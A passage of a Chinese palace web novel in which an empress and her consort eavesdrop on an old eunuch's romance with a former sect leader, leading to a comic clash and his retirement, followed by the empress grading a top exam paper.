“嗯?”林臻懒洋洋地应了一声,眼睛都没睁开。 慕容嫣凑近了一点,声音压低了,却掩不住兴奋:“咱们的无舌大总管,好像是谈恋爱了呢!” “噗——!”林臻差点被自己的口水呛到,猛地睁开眼,头瞬间从浣碧怀里抬起来,一脸难以置信地瞪大眼睛,音量都拔高了:“谁?!无舌?!那个老阉货?!谈恋爱?你确定不是去慈幼局捐银子或者去道观祈福?” “呵……”慕容嫣看着林臻那副活见鬼的表情,更是乐不可支,凤冠上的步摇都随着她的轻笑微微颤动, “千真万确!起先朕也不信,可这老东西最近出宫次数异常频繁!每次出去还刻意遮掩!后来朕实在好奇,就派了暗卫悄悄地跟了一次……” 她故意停顿了一下,吊足了林臻的胃口。 “结果怎么着?”林臻身体前倾,连腿都下意识地从麝月那里收回了些,兴趣完全被勾了起来,“他跟谁?” “结果呀,”慕容嫣眼中闪烁着促狭的光芒,“你绝对想不到!他竟然偷偷摸摸地跑到西城一个僻静的小院,去见青霞的母亲!” “青霞的母亲?!”林臻眼睛瞬间瞪得溜圆,表情比刚才听到无舌谈恋爱还夸张一百倍!八卦之火熊熊燃烧,“老宗主?” “可不就是她嘛!”慕容嫣拍手笑道,“暗卫回报,看到无舌拎着大包小包的滋补品进去,在里面待了差不多两个时辰!据隔壁卖豆腐的说,这都有两个月了,隔三差五就来,嘘寒问暖,殷勤得不得了!两人还经常在院子里那棵老槐树下煮茶下棋呢!气氛……啧啧,相当融洽。” 林臻脸上的表情从震惊变成了难以置信的古怪,再变成一种混杂着极度好奇和看好戏的兴奋:“我的天爷!这两个人?一个是大内总管老太监,一个是曾经的老宗主……他们俩……这算怎么一回事啊?玩对食?!” “哈哈哈哈哈,朕也这么觉得,”慕容嫣笑得花枝乱颤,身上的金线彩凤随着她的动作流光溢彩,“不是结对食,难道是为了切磋武艺不成?” 林臻摸着下巴,眼珠滴溜溜乱转,闪烁着唯恐天下不乱的精光:“啧啧啧,真没想到,无舌公公宝刀不老,不过这口味倒是挺刁钻独特……哎,嫣儿,”他忽然坏笑着看向慕容嫣,“要不…咱们去抓个奸?” “抓奸?!”慕容嫣一听,凤眸瞬间亮得惊人,如同发现猎物的猫儿,里面跳跃着兴奋和恶作剧的光芒,“夫君这个提议甚合朕意!简直妙极了!朕正愁下午没事做呢!现在就去如何?” “现在?”林臻也来了劲头,“好!择日不如撞日!打他们个措手不及!省得无舌那老滑头溜了!” “走!!”慕容嫣几乎是从椅子上弹了起来,兴致勃勃,那华丽无匹的凤凰拖尾在地毯上划过一道炫目的金光,似乎连空气都欢快了几分。 女帝难得的少女心性毕露无遗。 “等等!”林臻叫住她,对着身边的佳丽道,“浣碧,麝月,更衣!准备出门!记得给我找身不起眼的……嗯,就上次那套算命先生的衣服挺好!” 浣碧掩唇轻笑:“是,夫君。”立刻转身去取衣服。 麝月还跪在地上,脸颊红晕未消,此时也忍不住噗嗤笑出了声。 慕容嫣看着兴奋的林臻,再看看外面毒辣的日头,却毫不在意:“让暗卫盯紧那个小院!给朕备车!要最普通的那种!朕今天倒要亲眼看看,无舌那老东西是怎么谈情说爱的!” 林臻已经推开侍奉的浣碧和麝月,霍然起身,一把扯开身上略显松垮的常服衣带,动作矫健如豹,眼中满是跃跃欲试的光芒: “哈哈,快!换衣服!抓贼抓赃,捉奸捉双!” 璇玑阁内,原本的静谧奢华瞬间被一种欢脱、刺激、充满八卦乐趣的气氛所取代。 刚刚还在忧虑国事、享受美人温存的两位至尊,此刻如同发现新玩具的孩子,迅速投入了一场关乎宫廷总管晚年情感秘辛的重大行动! 林臻利落地解开衣带,露出里面精壮有力的肌肉线条,对着门外喊道:“橙萱!备车!隐匿行踪,目标西城槐树巷!” “是!”门外传来低声的回应。 慕容嫣也匆匆整理了一下鬓发,不忘叮嘱麝月:“给朕也拿顶帷帽!” 片刻后,一辆毫不起眼、甚至有些破旧的青帷马车悄无声息地从歌剧院后的暗门驶出,汇入熙熙攘攘的街道洪流中,朝着西城方向疾驰而去。 车内,林臻已经换上了一身洗得发白的灰色道袍,头顶滑稽的九梁道冠,颊边沾着几缕花白假胡须。 慕容嫣则裹着一身普通的藕色素纱罗裙,戴着垂到肩头的帷帽,完全掩盖了那身足以惊世骇俗的皇家气度。 两人挤在狭小的车厢里,目光交织,都闪烁着兴奋和恶作剧的笑意。 “驾!”百骑司的暗卫低喝一声,甩了个响鞭。 第619章 没个正经 西城,槐树巷深处。 一辆毫不起眼的青帷马车悄无声息地停在巷口阴影处。 车门打开,两道身影如同鬼魅般滑出车厢,落地无声。 林臻一身洗得发白的灰布道袍,头戴滑稽的九梁道冠,颊边粘着几缕花白假须,活脱脱一个落魄算命先生。 慕容嫣则裹着一身最普通的藕色素纱罗裙,头戴垂纱帷帽,将那张倾国倾城的容颜和一身华贵气度尽数遮掩。 两人对视一眼,都从对方眼中看到了压抑不住的兴奋和恶作剧的光芒。 巷子尽头,一座青砖小院静静矗立。 院墙不高,爬满了郁郁葱葱的爬山虎,显得清幽僻静。院门紧闭,听不到里面任何动静。 “就是这儿了。”林臻压低声音,指了指小院。 慕容嫣点点头,帷帽下的唇角勾起。 两人如同做贼般,蹑手蹑脚地溜到院墙根下。 无需言语,两人同时提气,身形如同没有重量的柳絮,轻飘飘地拔地而起,脚尖在墙头青苔上一点,便悄无声息地落入院内,连一丝尘埃都未曾惊动。 落地后,两人相视坏笑,如同偷到糖的孩子。 小院不大,收拾得干净整洁。 几畦菜地青翠欲滴,墙角几丛月季开得正艳。 正对着院门的,是一座小巧精致的木屋,看木料和漆色,显然是新建不久。 院内空无一人,静悄悄的,只有风吹过树叶的沙沙声。 “果然没带人。”林臻用气声道,眼中八卦之火更盛。 慕容嫣也点点头,帷帽轻纱下,一双凤眸闪烁着兴奋的光芒。 两人默契地手拉着手,如同逛自家后花园般,放轻脚步,朝着那座木屋走去。 刚走到木屋窗下,尚未靠近,屋内便隐隐传来对话声。 两人立刻屏住呼吸,如同壁虎般贴墙而立,竖起耳朵。 一个略显清冷、却带着一丝慵懒和嗔怪的女声响起,正是青霞的母亲,那位神秘的前天道宗主: “啪!” 一声清脆的拍打声。 “吃饭就吃饭!手别乱摸!好几十岁的人了,怎么还这么色急呢?没个正形!” 紧接着,一个熟悉得不能再熟悉、此刻却带着一种从未听过的、近乎猥琐的讨好腔调的男声响起,正是慕容无舌: “嘿嘿嘿……几日不见,很是想念你嘛……”那声音黏糊糊的,带着一种令人起鸡皮疙瘩的甜腻,“该说不说,丽洁,你这手艺还是和当年一样的好!这红烧肉,绝了!” “哼,瞧你那点出息!”老宗主的声音带着一丝笑意,“少拍马屁!你确定今天陛下不找你?别吃着吃着,你的小徒弟又来把你叫走了,扫兴!” “放心!放心!”无舌的声音带着十足的把握,“陛下今儿个去歌剧院找世子了!小两口腻歪着呢,一时半会儿回不去!咱们今天啊……嘿嘿,有的是时间恩爱!” 最后两个字,他刻意拖长了调子,充满了暗示。 “呸!谁要跟你恩爱!老不正经的玩意儿!”老宗主啐了一口,声音里却听不出多少怒意,反而带着点娇嗔, “再说了……” 她话锋一转,语气带着明显的促狭和挑衅,“就算想恩爱……你有那个功能吗?嗯?” 窗外的林臻和慕容嫣瞬间瞪大了眼睛! 两人都从对方眼中看到了震惊! 结对食不是应该像老夫妻那样,女的洗衣做饭,男的跑腿采买,相濡以沫过日子吗? 这对话信息量也太大了点吧?! 屋内,无舌似乎被戳中了痛处,但随即又得意洋洋地反驳,声音都拔高了几分: 窗外的林臻和慕容嫣差点没憋住笑出声! 两人赶紧捂住嘴,肩膀疯狂抖动! 我的天! 这老两口……玩得这么野?! “二阳指”? “受用”? “真家伙”? 这尺度简直震碎三观啊! “呵!”无舌似乎被激起了好胜心,声音带着一丝不服气,“说得你好像用过真家伙似的!你当年……” “没用过我怎么生的青霞?!”老宗主的声音陡然变得凌厉,带着一丝被冒犯的愠怒,“怎么?你怀疑青霞是捡来的?!” “呃……不敢不敢!”无舌的声音瞬间怂了,连忙赔笑,“我这不是开个玩笑嘛。” 听到这里,窗外的林臻和慕容嫣再也按捺不住强烈的好奇心! 这对话太劲爆了! 光听不过瘾,必须亲眼看看! 林臻对慕容嫣使了个眼色,两人如同灵猫般,悄无声息地趴到窗台下。 林臻伸出食指,极其猥琐地沾了点口水(慕容嫣嫌弃地皱了下鼻子),小心翼翼地捅破了窗户上那层薄薄的桑皮纸。 慕容嫣也有样学样,沾了点口水(动作明显比林臻优雅得多),在另一个位置也戳了个小洞。 两人屏住呼吸,将眼睛凑到小洞前,朝里窥视。 屋内,午后的阳光透过糊着桑皮纸的窗棂,洒下斑驳温暖的光影。 一张简朴的榆木方桌上,摆着几碟家常小菜:一碟油亮喷香的红烧肉,一碟碧绿清脆的炒时蔬,一碟金黄诱人的煎豆腐,还有一小壶温热的黄酒。 空气里弥漫着饭菜的香气和一种温馨的、只属于两个人的宁静。 无舌穿着深灰色的细棉布直裰,不再是那身象征权势的蟒袍,整个人都松弛下来。 他坐在丽洁对面,手里端着碗,眼睛却像粘了蜜似的,一眨不眨地盯着正在给他盛汤的老宗主。 老宗主今日穿了件水蓝色的素面杭绸褙子,衬得肤色愈发白皙。 岁月似乎格外优待她,只在眼角留下几道浅浅的细纹,那双眸子依旧清亮有神,只是褪去了年轻时的凌厉,多了几分温润与沉静。 她乌发松松挽了个髻,斜插一支素银簪子,几缕碎发垂在颊边,添了几分慵懒的风情。 “喏,喝点汤,润润。” 第620章 好像你十九岁的样子 丽洁将一碗飘着翠绿葱花和蛋花的清汤推到无舌面前,声音带着一种家常的柔和。 “哎,好!”无舌忙不迭地应着,接过碗,却没立刻喝,反而顺势一把握住了丽洁还没来得及收回的手腕。 那手腕纤细,皮肤依旧光滑紧致。他枯瘦的手指在她细腻的皮肤上轻轻摩挲,眼神带着毫不掩饰的痴迷和一丝讨好的笑意。 “丽洁啊,你这手怎么还跟当年似的,又软又滑……” 丽洁手腕微微一僵,脸上瞬间飞起两朵淡淡的红云,如同少女般娇艳。 她用力想抽回手,嗔道:“老不正经!吃饭就吃饭,动手动脚的做什么?几十岁的人了,也不害臊!” 她嘴上嗔怪,眼神却并非全然恼怒,反而带着一丝不易察觉的纵容和羞赧。 无舌嘿嘿一笑,非但不松手,反而得寸进尺地用指腹在她手腕内侧最敏感的地方轻轻刮了一下,惹得丽洁身体微颤,像被电流击中。 他压低声音,带着点暧昧的沙哑:“害臊?对着自家娘子害什么臊?再说,” 他凑近了些,几乎能闻到丽洁发间淡淡的皂角清香,“几日不见,可想死我了。你这手艺还是这么好,这红烧肉,肥而不腻,入口即化,跟我记忆里在金陵醉仙楼后院,你偷偷给我开小灶时做的一个味儿!” 他眼中流露出深切的怀念。 提到金陵醉仙楼后院,丽洁脸上的红晕更深了,眼神也恍惚了一下,仿佛回到了那个充满危险又带着隐秘甜蜜的年轻岁月。 她终于用力抽回了手,拿起筷子敲了一下无舌伸向红烧肉的筷子尖,佯怒道:“少提那些陈芝麻烂谷子的事儿!快吃你的饭!凉了就不好吃了。” 她自己也夹了块豆腐,低头小口吃着,长长的睫毛微微颤动,掩饰着内心的波澜。 无舌得意地夹起一大块红烧肉塞进嘴里,满足地咀嚼着,含糊不清地说:“唔……好吃!真香!嘿嘿嘿嘿。” 猥琐的笑声过后,他放下碗,那只枯瘦的手又不安分地悄悄探向桌下,精准地覆在了丽洁放在腿上的手背上。 掌心粗糙的老茧摩擦着她细腻的手背,带来一阵酥麻的痒意。 “嘿嘿,”无舌笑得像只偷腥成功的猫,手指在她手背上轻轻画着圈,“丽洁啊……” “嗯?”丽洁没再躲闪,只是任他握着,另一只手依旧慢条斯理地夹菜,仿佛浑然不觉桌下的小动作,只是耳根的红晕悄悄蔓延到了脖颈。 “你说咱们算不算苦尽甘来了?那个人渣终于被世子除了。你心里那些事儿,也该放下了吧?” 提到那个人渣,丽洁夹菜的手猛地一顿,脸上的红晕瞬间褪去,眼神骤然变得冰冷而锐利,仿佛又变回了当年那个令人闻风丧胆的天道宗主。 一股无形的寒意从她身上散发出来。 无舌立刻察觉到了她的变化,心中暗骂自己嘴欠,连忙握紧了她的手,声音带着急切和安抚:“丽洁!丽洁!别想!都过去了!那混蛋死有余辜!世子替天行道,也替你,替青霞那丫头报了仇!咱不想了,啊?” 丽洁深吸一口气,强行压下翻涌的恨意和那段不堪回首的记忆。 她闭了闭眼,再睁开时,眼中的冰寒褪去,只剩下深深的疲惫和一丝释然。 她反手轻轻握住了无舌那只布满老茧的手,低声道:“嗯,不想了。都过去了。” 她的声音带着一丝不易察觉的颤抖。 感受到她回握的力度,无舌悬着的心才放了下来。 他趁机将丽洁的手拉得更近些,轻轻摩挲着,语气带着前所未有的温柔和憧憬:“那以后就咱俩好好过日子,行不?把当年在江南,在京城,那些没来得及说的话,没来得及做的事儿都补上!” 丽洁看着他眼中那份毫不掩饰的深情和小心翼翼的期盼,心中最坚硬的地方仿佛被轻轻触动。 她垂下眼帘,长长的睫毛在眼下投下一小片阴影,沉默了片刻,才轻轻“嗯”了一声。 这一声轻应,如同投入平静湖面的石子,在无舌心中荡开巨大的涟漪! 他激动得差点跳起来,枯瘦的脸上焕发出异样的光彩:“真的?!丽洁!你……你答应了?!” 他像个毛头小子般,急切地追问。 丽洁被他这副样子逗得“噗嗤”一声笑了出来,脸上重新染上红霞,嗔了他一眼:“瞧你那傻样!都快八十岁的人了……” 看到这,林臻默默算了下。 如果无舌八十岁,那老宗主也就五十多的样子。 两人差了二十多岁! 这可真是一树梨花压海棠了。 老宗主顿了顿,声音低了下去,带着一丝不易察觉的羞涩和期待,“不过你得先把陛下那边安顿好。堂堂大内总管,整天偷偷摸摸往我这跑,像什么话?” 提到这个,无舌脸上的兴奋稍稍收敛,叹了口气:“唉,陛下她武艺进步是快,可终究是温室里的花朵,没经历过真正的腥风血雨。朝堂上那些明枪暗箭,江湖里那些魑魅魍魉,我这心里总是不踏实。再等等……等陛下真的能独当一面了,我就跟陛下请辞!告老还乡!” 他眼中闪烁着坚定的光芒,“到时候,咱就大大方方地回王府去!让世子……哦不,是让咱女婿!”他特意强调了这个称呼,带着点得意,“给咱俩找个清静的好院子!咱俩就在那儿,晒太阳,下棋,听曲儿,你想做什么,我都陪着你!” “回王府?”丽洁眼睛一亮,显然对这个提议很是心动。 她想象着那个画面,嘴角不自觉地弯起温柔的弧度。 她甚至微微侧过头,将脸颊轻轻靠在了无舌那并不宽厚、甚至有些硌人的肩膀上。 这个依赖的动作,让无舌浑身一震,一股巨大的暖流瞬间涌遍全身! “嗯……”丽洁的声音带着一种卸下所有防备后的柔软和憧憬,“等那时我们就回去。不用再偷偷摸摸的了,好好过日子。” 她闭上了眼睛,感受着身边这个男人传递过来的、迟到了数十年的温暖和安心。 第621章 大白天的!脑子里尽想些有的没的 无舌激动得几乎要落下泪来! 他小心翼翼地抬起手臂,想要将丽洁更紧地搂入怀中。 那只枯瘦的手,带着微微的颤抖,先是轻轻环住了她的肩膀,见她没有抗拒,才敢慢慢收紧。 他的下巴轻轻抵在丽洁的发顶,嗅着她发间淡淡的馨香,只觉得此生从未如此圆满。 “丽洁……”他声音沙哑,充满了浓得化不开的情意。 “嗯?”丽洁靠在他肩上,慵懒地应了一声。 “你比十九岁那年,在金陵秦淮河畔的乌篷船上还要美。”无舌的声音低沉而充满磁性,带着一种历经沧桑后的醇厚,“那时候的你,像一把出鞘的利剑,锋芒毕露,耀眼夺目。现在的你,则像一块温润的美玉,光华内敛,却更让人移不开眼。” 他放在她肩头的手,指尖无意识地轻轻滑过她颈后细腻的肌肤,带着一种小心翼翼的、充满珍视的触碰。 丽洁的身体微微一颤,一股酥麻感从颈后蔓延开来。 她并未躲闪,反而将头在他肩上蹭了蹭,像只慵懒的猫,声音带着一丝娇嗔:“油嘴滑舌……老不正经……” 但她的耳根,却以肉眼可见的速度变得通红,如同熟透的樱桃。 无舌看着她难得流露的小女儿情态,心中爱意更盛。那只原本只是规规矩矩放在她肩头的手,又开始不安分地向下滑动,指尖带着试探,轻轻描摹着她脊背优美的曲线,隔着薄薄的衣料,感受着那温软肌肤的触感。 “丽洁……”他的声音更低了,带着一丝压抑的渴望和狡黠,“那咱现在算不算恩爱了?” 丽洁猛地抬起头,脸上红霞密布,又羞又恼地瞪着他:“老东西!大白天的!脑子里尽想些有的没的!” 她作势要推开他。 无舌却像块牛皮糖,手臂反而收得更紧,嘿嘿笑道:“嘿嘿嘿,谁让你这么勾人呢?要不要再试试老夫二阳指的功夫?” “闭嘴!”丽洁的脸瞬间红得能滴出血来!她羞恼地一把捂住无舌的嘴,眼神慌乱,却又带着一丝被说中心事的窘迫, “不许说!再胡说八道……我……我拧掉你的耳朵!”她嘴上凶狠,但那捂着无舌嘴的手却没什么力道。 无舌被她捂着嘴,眼睛却笑得弯成了月牙,含糊不清地嘟囔:“唔唔……好……不说……不说……” 他顺势抓住丽洁捂着他嘴的手,拉到唇边,在那白皙的手背上响亮地“吧唧”亲了一口! “你!”丽洁像被烫到一样猛地抽回手,又羞又气,抬手作势要打。 无舌却早有准备,笑嘻嘻地往后一仰,躲开了。 他看着丽洁那张布满红霞、又羞又怒却更显娇艳的脸庞,心中充满了巨大的满足感和一种“老夫聊发少年狂”的得意。 无舌吃着吃着,又忍不住偷偷抬眼瞄丽洁。 见她神色平和,嘴角含笑,胆子又悄悄肥了起来。 他那只枯瘦的手,再次如同做贼般,极其缓慢地、一点一点地,从桌子底下伸过去,轻轻覆在了丽洁放在腿上的手背上。 这一次,丽洁没有躲闪,也没有拍开。 她只是微微侧过头,看向窗外明媚的阳光,嘴角的弧度更深了。 那只被无舌握着的手,几不可察地轻轻回握了一下。 窗外的林臻和慕容嫣,此刻已经完全看呆了! 尤其是慕容嫣,她看着无舌那副“贼心不死”的猥琐样,联想到他平日里的正经,一股恨铁不成钢的恼火涌上心头,忍不住低声啐道。 “这老东西!没个正形!” 这声音虽然不大,但在寂静的小院里,如同平地惊雷! “什么人?!” 屋内,无舌那原本色眯眯的表情瞬间消失! 取而代之的是一种如同被侵犯了领地的毒蛇般的阴冷与暴戾! 他厉喝一声,反应快得不可思议! 话音未落! “轰——!!!” 一声巨响! 那扇糊着桑皮纸的木窗,如同被炸药从内部引爆,瞬间炸裂开来! 无数木屑、碎纸如同暴雨般向外激射! 一道灰影如同鬼魅般从炸开的窗口电射而出! 速度快到极致! 带起的劲风将窗外的慕容嫣帷帽垂纱都掀飞起来! 正是无舌! 他人在半空,目光如电,瞬间锁定了窗外那两个偷窥者! 尤其看到那个戴着帷帽、身形熟悉的女人时,他眼中杀机暴涨! 不管是谁,敢窥探他和丽洁的秘密,都必须死! “找死!”无舌一声低吼,枯瘦的手掌瞬间变得漆黑如墨,带着一股阴寒刺骨的腥风,凌空一掌,毫不留情地朝着慕容嫣的天灵盖狠狠拍下! 这一掌,蕴含了他数十年精纯的力道,足以开碑裂石! “嫣儿小心!”林臻脸色剧变! 他万万没想到无舌反应如此激烈,出手如此狠辣! 电光火石间,他根本来不及多想,本能地一步抢到慕容嫣身前,右掌迎着无舌的手,狠狠对轰而去! “砰——!!!” 一声沉闷如雷的巨响在小小的院落中炸开! 双掌相交处,气浪如同实质般炸开! 院中的花草被瞬间摧折! 尘土飞扬! 林臻只觉得一股沛然莫御的巨力如同冰山般狠狠撞来! 他闷哼一声,脚下“蹬蹬蹬”连退三步,每一步都在青石板上留下清晰的脚印! 整条右臂瞬间麻木,气血翻腾,喉头一甜,差点喷出血来! 心中骇然:这老太监的功力,竟如此深不可测! 而无舌,身形只是微微一晃,便稳稳落地。 他正欲再次扑上,将这两个胆大包天的“贼人”毙于掌下! 然而,当他凌厉的目光扫过那个被林臻护在身后、帷帽垂纱已被掌风掀飞、露出真容的女子时…… 无舌脸上的暴戾和杀机瞬间凝固! 如同被一盆冰水从头浇到脚! 那张脸……那张他侍奉了十几年、熟悉得不能再熟悉的倾世容颜…… “陛……陛下?!!” 无舌如同被天雷劈中! 浑身剧震! 那张枯槁的老脸瞬间血色尽褪,变得惨白如纸! 他眼中充满了极致的惊恐、难以置信和无地自容的羞臊! “噗通!” 没有丝毫犹豫,无舌双膝一软,重重地跪倒在布满木屑和尘土的地上! 额头“咚”地一声磕在青石板上,声音颤抖得不成样子: “陛……陛下!!老奴该死!!老奴罪该万死!!!” 第622章 告老吧 这位曾经权倾朝野、武功深不可测的大内总管,此刻像个做错了天大事情的孩子,脊梁佝偻,花白的头颅深深埋在尘土和木屑之中,肩膀因无声的惶恐而微微耸动。 地上,他额头磕过的地方,留下一点清晰的红印子。 林臻甩了甩依旧酸麻胀痛的右臂,语气带着点戏谑,又带着点不忿:“我说无舌大人,你好大的胆子啊!连对陛下都敢劈头盖脸的一掌打过来?要不是我拼了老命挡这一下,你是不是想把陛下拍成肉饼,然后带着岳母大人亡命天涯?” 他蹲下身,与无舌平视。 跪着的无舌身体抖得更厉害了,喉头滚动着,却一个字也说不出来。 他刚才那一掌确实是本能反应,带着灭口的狠绝,此刻后怕如同冰冷的潮水,几乎将他淹没。 慕容嫣的声音又冷冷地响起,带着不容抗拒的威严:“说话!世子问你话呢!哑巴了?” 她虽然背对着,但显然听到了林臻的话。 无舌猛地一颤,额头“砰”地再次磕在冰冷的石板上,发出沉闷的声响,声音哽咽破碎:“陛下息怒…老奴罪该万死!老奴是真的不知道是陛下您在外面,老奴只道是宵小之徒意图窃听,妄图借此丑事中伤陛下,诋毁陛下驭下无方。老奴当时只想着…只想着灭口,保全陛下清誉,老奴该死!死不足惜!” 他说得又快又急,充满了恐惧和急于辩解的混乱。 那句“保全陛下清誉”倒是他的真心,无论行为多么逾矩,他对慕容嫣的忠诚从未动摇。 林臻和慕容嫣都沉默着。 尴尬和紧张的空气几乎凝结。 无舌每一句求饶都像重锤敲在两人心上。 就在这令人窒息的寂静中,那扇被无舌撞破、显得摇摇欲坠的破窗户后面,探出一张脸。 正是老宗主,丽洁。 她脸上没什么过多的惶恐或羞耻,反而带着一种历经世事后的平静,甚至还有一丝淡淡的不耐。她看也没看还跪在地上、形容狼狈的无舌,视线直接对上蹲在旁边的林臻,清冷的声音打破了僵局: “行了行了,瞧你那孙子样儿。”她顿了一下,直接对着林臻说道:“女婿,差不多了啊。不就是场误会么?这老东西是真的不知道扒窗户根的是你和陛下。” 说完她用下巴点了点无舌。 她的话简单直接,点明了无舌不知情这个关键事实。 如果知道是皇帝和世子,借他一万个胆子,他也绝不敢动手。 林臻心里清楚确实如此,否则他早就雷霆震怒了,岂是现在这样只是语气不善。 他看了眼沉默不语、但身体姿态明显放松了些的慕容嫣。 后者似乎也接受了误会这个说法,但天子的威严必须维护,她咬了咬下唇。 这个细微动作只有侧对着她的林臻能看到,声音依旧带着一丝刻意维持的寒霜:“无舌!你身为大内总管,背主出宫,擅离职守,寻欢作乐!有违宫规国法!你可知罪?!” “老奴知罪!老奴罪该万死!”无舌以头抢地,声音沙哑,带着如释重负和认命的悲凉。 “哼!”慕容嫣冷哼一声,“念你多年辛劳,没有功劳亦有苦劳,死罪可免。但活罪难逃!即日起,免去你大内总管一切职司!你也不必再进宫伺候了!” 说完,慕容嫣不再停留,再次决绝转身,快步离开,身影消失在小院之外,只留下空气中淡淡的冷香和那不容置疑的帝王旨意。 无舌如同被抽掉了骨头般,猛地瘫软在地,却又瞬间僵直。 他缓缓地抬起那张布满尘土、涕泪模糊、瞬间苍老了十几岁的脸,眼神空洞地望着慕容嫣消失的方向,大脑一片空白。 被剥夺了伴随他一生的权柄和位置,更是被彻底逐出了宫廷,逐出了他效忠半辈子、视为归属的地方。 几十年小心翼翼、如履薄冰的宫廷生涯……就这样……结束了? 他像个迷路的孩子,完全懵了。 林臻看着无舌这副失魂落魄的模样,再次深深叹了口气。 他站起身,走到无舌面前,也蹲了下来,伸出手,不是搀扶,而是安慰性地拍了拍无舌沾满灰尘的肩膀。 “行了无舌,别搁这儿犯傻了。”林臻的语气缓和下来,带着朋友间劝解的意味,甚至还带着点狡黠的笑意,“嫣儿的心思,你还看不明白吗?” 无舌茫然地看向林臻,眼神依旧空洞。 林臻压低声音,语重心长地说:“她这是心疼你,给你一个能平平安安、体体面面告老的机会!你想想,你侍奉了三位皇帝,权柄又重,宫里宫外多少双眼睛盯着你?多少人等着揪你的错处?陛下直接下旨让你告老荣休,那些心怀叵测、眼红你位子的家伙,会怎么想?会怎么说?‘看,无舌那老东西被皇帝厌弃了’?‘肯定有不可告人的大罪’?‘失宠了’?流言蜚语能淹死人!” 无舌浑浊的眼珠微微动了一下,似乎听进去了一点。 林臻继续道:“这样正好!免去一切职务,不必再进宫。这理由够硬气吧?因为你擅离职守,因为你背着主子出宫享乐,因为你差点伤了天子!陛下这是当众把你撸个干净,谁还能挑出毛病来?谁还敢说三道四?这是以儆效尤,也是把你从风尖浪口上摘下来,让你干干净净地离开那座吃人不吐骨头的皇宫!” 林臻轻轻拍了拍他肩膀:“这才是陛下真正的意思。让你带着岳母大人,收拾收拾心情,风风光光地回王府享清福去。不用再提心吊胆,不用再察言观色,光明正大地过你们的小日子。明白了吗?” 无舌眼中的茫然和痛苦渐渐褪去,取而代之的是一种难以置信的恍然,接着是浓烈的酸涩、释然和……深深的感动。 原来如此! 原来陛下并非厌弃,而是保护! 是以天子的雷霆之威,为他斩断桎梏,换他一个再无牵挂的晚年! “噗嗤!”站在窗口的丽洁突然发出一声清晰无比的冷笑。 第623章 状元郎 林臻和无舌都循声望去。 只见丽洁双臂环胸,那惊人的尺寸自不必多说。 她倚靠在破窗框上,绝美的脸上带着一丝毫不掩饰的嘲弄和洞察一切的锐利。 她对着林臻,直接开炮:“呵!享福?享什么福?林世子,你这小算盘打得可真是噼啪响啊!把自己说的那么好听,什么干干净净离开、光明正大过日子……我看你是想把我们这俩老废物绑回王府,给你看家护院吧?毕竟一个是身怀‘二阳指’的老太监,一个前天道宗主,就算年纪大了,吓唬吓唬宵小之徒也还是绰绰有余,对吧?省得你花钱雇高手了,是不是?” 丽洁一番话,直接戳破了林臻那点“顺水推舟为自己打算”的小心思。 林臻被她说的老脸一红,摸了摸鼻子,有些尴尬地嘿嘿笑道:“咳咳……岳母大人这话说的多伤感情啊!看家护院自然是用得上的,但最重要的还是……您难道不想回去看看您那小外孙子?小家伙长得可快了,粉雕玉琢的,跟岳母您就像一个模子里刻出来的!有您在旁边悉心教导,那可是他天大的福分!” 他试图用亲情感化。 丽洁丝毫不为所动,那张酷似青霞的脸上依旧带着冷笑,眼里的锐利却仿佛能看透人心: “呵!油嘴滑舌!想把我们捏在手里使唤,偏偏又不肯明说,拐弯抹角找些冠冕堂皇的理由!你这小女婿,心眼多得跟筛子一样,讨厌得很!” 她直言不讳地表达了对林臻的“嫌弃”,但嘴角却极其细微地向上牵动了一下,那点冷意之下,并非真正的愤怒,反而有种对晚辈小算计的纵容和无奈。 说完,她不再理会有些讪讪的林臻,目光落在仍旧跪坐在地上的无舌身上。 她的眼神在接触到无舌那失魂落魄的模样时,瞬间柔和了无数倍。 “起来,老东西。”丽洁的声音不大,却带着不容置疑的力量。 她伸出手,不是用言语,而是用动作轻轻拉了拉无舌那沾满灰尘的衣袖,动作轻柔,带着一种老夫老妻间独有的亲昵和心疼。 “地上凉,一把年纪了,还要让人操心。” 无舌浑身一震。 仿佛被丽洁那一拉惊醒。 他不是因为被革职而跪,而是因为失礼于帝后而跪。 此刻昔日的生活已经离开,丽洁才是他最后的归宿和慰藉。 他如梦初醒,眼中最后那点迷茫彻底消散,剩下的是浑浊的泪光和对丽洁无尽的依恋。 他没有立刻起身,而是保持着跪姿,做了一个令人意外的动作。 他缓缓地、深深地,朝着慕容嫣消失的方向,同时也是皇宫大内的方向,极其沉重地、恭恭敬敬地、连续磕了三个响头。 “砰!” “砰!” “砰!” 额头每一次都与石板碰撞,发出沉闷而清晰的声音。没有言语,没有辩解,唯有这三个庄重的叩首。 每一次叩首,都像是在郑重地告别。 告别他数十年的宫阙生涯。 告别他陪伴过的三位帝王。 告别那伴君如伴虎的日日夜夜。 告别那张象征着权柄却也带来无尽枷锁的大内总管座椅。 这三个响头,不是求饶,而是谢恩。 感谢君主的宽恕,感谢那份藏在严厉下的体恤,感谢这迟来的解脱与自由。 这三个头磕完,无舌的身体似乎彻底松弛下来,肩头那股背负了一生的无形重压,悄然消散。 他撑着地,有些踉跄地站起身,拂了拂膝盖和衣袖上的尘土草屑,然后,自然而然地、轻轻地握住了丽洁依旧拉着自己衣袖的那只手。 那只手微凉,却带给他前所未有的安定。 他转头看向林臻,脸上的惶恐、悲戚、绝望早已消失不见,取而代之的是一种沧桑阅尽后的平静释然,甚至还挤出了一个极其难看的、却无比真实的笑容。 “老奴……无舌谢世子、谢陛下成全。” 林臻看着他紧握着丽洁的手,看着他那卸下所有伪装、只剩下疲惫和真实轻松的眼睛,也笑了:“行了,走吧,回家。” ...... 夏试的喧嚣尘埃落定,京城的空气里却依旧弥漫着一种新生的躁动与期盼。 金榜题名者意气风发,名落孙山者黯然神伤,而整个帝国的目光,都聚焦在那位即将新鲜出炉的状元郎身上。 紫宸殿内,灯火通明。 御案之上,堆积如山的朱卷已被分门别类。 慕容嫣端坐于凤椅之上,褪去了朝堂上的威严,眉宇间带着一丝批阅奏章后的疲惫,却更显专注。 她手中执笔,蘸饱了朱砂,正凝神细看最后一份被礼部尚书亲自捧上、置于最顶端的试卷。 这份试卷,字迹清峻峭拔,如孤峰独立,力透纸背。 文章破题奇崛,立论高远,引经据典却又不拘泥古法,针砭时弊更是切中肯綮,更难得的是字里行间透着一股锐意进取、务实求新的精神,在一众或华丽堆砌、或陈腐守旧的答卷中,如同鹤立鸡群。 慕容嫣唇角微扬,眼中闪过一丝激赏。 她提起朱笔,在那份考卷的卷首,沉稳有力地写下三个遒劲大字: ??“第一甲第一等。”?? 